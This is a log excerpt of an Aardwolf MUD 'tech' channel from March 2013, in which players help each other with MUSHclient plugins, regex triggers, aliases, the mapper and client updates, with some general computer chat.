T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: {This Mort} Time: 7d 21:42:47 Levels: 109 Exp: 647,883 (251,053 bonus) Kills: 3,057 Gold: 1,404,467 Trains: 441 (85 bonus) Pracs: 864 Quests: 52 Campaigns: 12 (1583 qps) Trivia: 2 Bonus Stats: S{7} I{7} W{4} D{6} C{8} L{7}
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: like so
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: heh, yeah, they were mentioned as an aside after 8 other things :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: and the all-important: Vorpals: Since Today 2, Since Added 8821 :-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: My average quest time is sitting at 1:31 - I like to see how much lower I can get it, it was 2:00 when I hit r7 SH
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: W00T, 693 vorpals since ever - only added vorpal flags a few months ago though
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you shouldn't monitor average over all. you should monitor a sliding window
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Huh? You mean the main window?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: quests from a year ago shouldn't influence the number you see
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: So delete old entries if you want - I like the total ever myself
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: wow, I've had vitae's stats tracker for 550,276 quest QPs, 58,764 campaign QPs and 29,456 GQ QPs
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: basts does it pretty well
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: keeps track of all components includier tier bonus, lucky etc
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: but that's the thing, Fiendish, you can look at the values during many arbitrary window in a nice db system (not mine, Bast's)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: In any case, if I was to upgrade my Mush and lose my stats, I would be pretty pissed - hence the note to look in the Logs folder
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: If you don't have your bsp setup aliased, the state file for that one is a good one to hang on to, also
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: (Group) Cain killd Abelinc: 'Completed quest in 30s'
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: 3000 BC, you mean
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Oh, that is your pretitle, thought you were grouped with someone named Cain who was emoting... nvm
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: of course my qtimes are also tracked on teh intarwebs database :-)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: https://twitter.com/aardabelinc
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: having pretitles off makes for much less confusion most of the time, but SERIOUS confusion when people cut and paste occasionaly
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: The River Styx is agreeing with that Vakieh person again...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: occassionaly...occasionally? idk, you work it out
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: pretitles are often cute, I like seeing 'em...and gmcp gives you the player's name in a separate field ;-)
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vakieh Tech: Any theory heads out there? In an expression x + y = z, I know the + and = are called operators, but what are the x/y/z called? Not variables, they may well be constants, just the name for the value parts of an equation.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: terms
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Xaeris Tech: they're variables though.  Inputs for a better term
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: at least in math they are terms
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vakieh Tech: Terms, that's the word I was looking for, thanks :-)
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: whoa whoa wait. i was right?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: although z wouldn't be a term
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vakieh Tech: In boolean it is, I had just forgotten :-P Dealing with 10yo knowledge here, it takes a bit to pull it up
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vakieh Tech: Far more used to compsci, and calling them variables
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: damn 10 year olds get a much better education than i did
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Incredible Iceman Tech: anyone know how to change the background pictures of aardwolf mush? i have a background set but it seems to be under the wolf
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Tholgram Tech: hi all, is there any forum or "help manual" for script something in lua? i already went to mushclient site but can't find all i want, any advice?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Trachx Tech: try 'mush lua forum' in google
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Tholgram Tech: tks
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Nuanse Tech: documentation page should help also
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Trachx Tech: if you have specific questions you can always ask here, though you should first get familiar with plugins folder in your mush installation
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Trachx Tech: also, if you want to do something specific just ask - maybe someone has shared solution for it
T3/r7/2013-03-10.txt.gz:{chan ch=tech}No pants Travis Tech: lame
T3/r7/2013-03-10.txt.gz:{chan ch=tech}No pants Travis Tech: whoops wrong chan
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Oxidize Tech: I am playing an alt and my bastmush is not functioning right...when i use basthunt it finds the mob and the room but only in text...i can't run straight to the mob in my cp's.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's so sad
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: what is sad?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: channel history
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: the inability to basthunt?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: I think mapper does a lot of work, the guy that wrote automapper is a genius. :p
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto nods at Ontuct and says, "I concur." Why didn't you?!
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't agree
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: you don't like the guy?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hate him
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he's a jerk
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto falls down laughing.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: Fiendish = Auto Mapper guy writer. *innocent*
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: any mirrors in the house of fiendish?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they're all broken
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: I went through 3 remorts before I took the time to see how mapper worked lol
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: Flippant Fiendish.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ten years and still haven't used a mapper
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: me neither
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: you hate fiendish too dagnir?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: altho i think i'll use it to bot cps next tier
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: Is cMUD dead now?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I already botted all the cps. none left for you.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: cmud is still the 3rd most used client
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: after zmud and mushclient
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: I am curious to know who the Unidentified/Unkown clients are.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well...it's actually quite easy to use one of the known clients without sending a valid identification string to the server
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: custom clients? i know two who have written their own mudclients
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for a long time my client was called HACKEDBYTHECHINESE
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but it was still either zmud or mushclient
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: how aprapos
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: was it your client that ruined the iranian centrifuges?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Xaeris Tech: should be renamed NK_Aard_Client
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Bast Tech: it isn't an easy task to convert an aq to a goal, it takes coding and testing, which can take months
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: where's the setting in MUSH and/or aard that will reduce the number of CRs being fed to the screen?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ayasinda Tech: type info
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: compact
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: Deaths.
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ayasinda Tech: I think he means Deaths Fiendish
T3/r7/2013-03-10.txt.gz:{chan ch=tech}BobTheGreat Tech: CR is carriage return
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ayasinda Tech: and it means carriage return too. 
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: no... it was carriage return... thanks fiendish... that'll help
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vonliege: compact will get rid of all interline spacing. is that what you want?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: though I have typed "CR" in the q/a channel plenty of times =)
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: and meant Corpse Retrieval... though in this case, I ment [return]... didn't even thin kof the corelation
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: looks much better.  I can now get from recall to the healer without 3-4 complete page scrolls
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: but there's still three blank lines between each block of information... must be something in MUSH settings
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Turie Tech: Are you using something like Winkle or Bast plugins?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: I am.... bast.  couple mini-windows, contemplate color... the usualls
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: it's not what I would call a huge issue... doesn't even really qualify as irritating... irksome, maybe?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I hate compact mode. much harder to read
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Vonliege Tech: fiendish - if no ones bent over and kissed your feet yet today, consider it done... thanks for keeping up with the client and all
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Thunderax Tech: how do you delete an area from mapper again?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it says when you enter the area
T3/r7/2013-03-10.txt.gz:{chan ch=tech}BobTheGreat Tech: mapper purgezone <area>
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Thunderax Tech: thanks
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Deputy] Leonassan Tech: If I log in with mushclient it changes a bunch of settings should I switch away from mushclient. How do I turn them back to the way they were?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: complain to lasher and ask him to make tags settings temporary per login session
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay in the mushclient ive lost my heal/mana/moves bar miniwindow, how do i get it back?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what did you do
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You mean it's partially obscured behind another window, or it's totally MIA?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: somehow half my screen became like the title bar and everything went weird
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and ive looked but i cannot see it anywhere
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: try View->reset toolbar locations?
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay that fixed the screen but still mising the health bars, and i had to rearrange my minwn's again
T3/r7/2013-03-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: resetaard to get it back. then rearrange again, I guess
T3/r7/2013-03-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: k thanks that seems to have done it
T3/r7/2013-03-10.txt.gz:{chan ch=tech}Ontuct Tech: now don't break it again
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: i have a slight problem... I turn on my pc...my hdd boots up but it says read disc error anyone know the prob?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Ranrr Tech: The drive is broken.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Electrobite bursts into tears.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Ranrr Tech: Or your pc is broken.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: expensive
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: When type look, and you see a (Wounded) The daisensei is trying to KILL YOU!..I wanted to change the color that display mobs trying to KILL YOU!..How do I go about doing it?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Deputy] Leonassan Tech: Client?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: instead of the usual orange color u typically get
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: much
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: I mean mushclient
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Deputy] Leonassan Tech: Hmm. Haven't messed with mush much, not sure there.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: easy
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: ohh..?? Remarto..take ur time
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: 2 explain I mean
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh i was putting together to put in pastebin
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: Arent u gonna teach me how, Remarto?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay, put this in a trigger line and click regex
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ^(.*?) is trying to KILL YOU\!$
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: Regex? I dont see any regex button
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its a tickbox down the side
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: regular expresion
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: got that so far?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: yeah.. anything to type in the Send box?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: nope
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: go down to style
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: "change colour and style" should be a dropdown box
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: no change should be the defult
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks..work like a charm!
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: found it?, thats where you set the colour for the line to be displayd
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a list of vulnerabilities of areas somewhere?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: duckbat?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vakieh Tech: is gone
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: seems to be working for me
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vakieh Tech: Not the resists page
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vakieh Tech: That went when the site changed - I have been told it was mostly out of date, however
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vakieh Tech: Requires a dedicated inquisitor
T3/r7/2013-03-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: well guess im outof luck thanks for the help :)
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Shikai Tech: Hi! Does anyone know how to make seperate windows for different channels in the Aardwolf MUSHclient? Like a communications window for auction/bid, another for newbie/question, etc.?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Shikai Tech: I just realized I forgot to pay attention to the tech channel. If you answered already, I'm sorry! But I was wondering if there was any way to make multiple comm logs for different channels using the aardwolf MUSHclient. Thanks!
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Pleiades Tech: can anyone think of a reason why mush would disconnect after 5-15 seconds on a desktop?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Day the Nightbird Tech: how do i make mudside aliases on blowtorch?its not accepting the semi-colon
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Nuanse Tech: not even double semi-colon?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Day the Nightbird Tech: i'll try that now
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Page command is supposed to make sounds right?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}BobTheGreat Tech: Supposed to.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Fatal FrostBite Tech: anyone else on MushClient having issues with that?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vonliege Tech: help me please... I have this alias (compliments of Norton) which I don't entirely understand... I use it to send 'mapper cexit %1'  the trouble is, there is an extra space between the "t" and the first letter of the variable.  no workie that way.  output is, for example:  "mapper area  enter bush"
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vonliege Tech: here's the aliase:  ^mmmm(\s+(.*)?(\.)?(\w+)?)?$
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Percival Tech: woh.  no idea on that one. sorry...
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Percival Tech: perhaps ask norton?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vonliege Tech: if he's around.. not going to bother him, though.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Percival Tech: looks like he's afk, but online
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Vonliege Tech: he usually jumps on tech questions... if he's watching the channel, he'll answer
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Percival Tech: icic
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone built a mame cabinet?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: hi all, anyone know's why my stats window (mushclient) lately doesn't start when i log in? any ideas? tks
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Scars Tech: does aardreset help?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: no, it won't
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Scars Tech: the window's not just hidden?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That just moves winodws back to default locations afaik
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Tholgram: type checkversion
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: version r1723
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: window is not hidden, never was
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Scars Tech: get with the times!
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Scars Tech: so where the stats window used to show up, you have an empty space?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Heh, I'm running 1723 still too, scars :P
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Tholgram: I also noticed something happening recently. update to 1748 and see if that fixes it
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: hummm going to do that first
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: brb
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wonder if lasher changed whether data gets sent at connect without requesting it
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: if i go to plugins and reset statsmon plugin it starts, but it's kind of annoying doing that all the time
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes, I know
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: something changed silently on the server end to not automatically send gmcp updates of everything at connect
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 1748 should resolve it
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lasher aware of that change?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I sure hope so
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Could be something unintentional, I'd still post a note.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: go ahead, I guess. I've already fixed the client behavior in 1748 *shrug*
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: going to 1748 brb
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Just force in a sendchar or something?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: pretty much
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: how can i transfer my settings from my old mushclient for the new one?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: on aardwolf website, the guide is there.
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this page has instructions if you scroll down http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: yes i'm reading that tks macbeth and fiendish
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: tks all!!! All set now, i think :)
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: alright, I asked about it
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tepeyollotl Tech: -j
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: some time ago there wasn't a help plugin? which sent help files to it?
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: removed because it sucks and is lame, but yes
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: probably somewhere in the mushclient forum
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: sucks? well wasn't it a help? at least for newcomers
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Bast Tech: there is a miniwin_help in my set of plugins
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah use that
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: the aardwolf_helplist isn't working? on mush
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: when i reload it, gives me a helplist.mcl error
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: .mcl? yikes
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't use that plugin
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's ooold
T3/r7/2013-03-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: use bast's
T3/r7/2013-03-11.txt.gz:{chan ch=tech}Tholgram Tech: was just reading it... doesn't work either, but it shows up on the plugin window
T3/r7/2013-03-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: where can i get a function so i can calculate the differance between two different times / dates
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: a function in what?
T3/r7/2013-03-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mushclient script
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: you can use os.time to get the time, and can do math on that...so can os.time the start checkpoint, then os.time the end checkpoint and subtract that
T3/r7/2013-03-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i can get the time, i was hoping for a function that could quickly convert the differnce in times to h/m/s
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: look at commas.lua
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Aventurine Tech: Would anybody know why the MUSH Client would randomly fire off commands silently that cause the "They aren't here." message to repeatedly pop up?  I don't use special scripts or otherwise.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Leinei Tech: type echocommands.  Then you'll be able to see what the command is
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Aventurine Tech: Thank you.  I was curious if there was a command that would do that.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Aventurine Tech: Odd ... seems I'm randomly sending out "poultice data" ... hmn.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: it's probabyl sending "p data", and you have a mudside alias for p for poultice
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: you're sending "p data"...you aliased "p" to "poultice"
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Aventurine Tech: Makes perfect sense.  And I just removed the alias too.  
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: "p data" is a MUD command to send the code that your prompt is set to...MUSHclient uses that to check that your prompt ends in %c
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: the newer versions of aard MUSHclient have changed that to send "prompt data" instead of "p data" (the original command was only p data, not prompt data), to interfere with those aliases less (although I don't recommend 1-letter aliases)
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Vakieh Tech: So I had to shut my computer down for a quick bit to change some cabling... MISTAAAAAAAAKE. 70 windows updates queued resulting in 21678 changes :-P
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Vakieh Tech: In doing so my rate of transfer from my media server to my PC went from 300-600kbps depending on mood to 12mbps though, so that was nice :-)
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Vakieh Tech: Not so sure why I held off learning networking so long, it wasn't nearly as difficult as I had originally thought
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: anyone know what the file jucheck.exe from oracle America is for?
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tigernuts Tech: java update checker
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Gnarcyon Tech: seeing how it's from oracle i'd assume java update check
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: ah, ok, next time i'll let it run
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: thanks
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Turie Tech: You will need to fix the update settings. Otherwise, it will try to update everytime you reboot.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: it's trying at random times in between boots
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: So...apparently you can't RDP into a computer if it's off!   :( :( :(
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Scars Tech: the humanity!
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: Ylar buries his face in his hand and sighs, shaking his head.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: Clients.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: Ylar snorts.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Mye Tech: why would a computer be off? this does not make sense to me.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: iknowright??
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: I think this person shut it off to conserve energy while they were away.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Mye Tech: training issue, then
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: My place is a whirling vortex of energy consumption :P
T3/r7/2013-03-12.txt.gz:{chan ch=tech}Ylar Tech: I probably used too many non-monosyllabic words when explaining how this works.
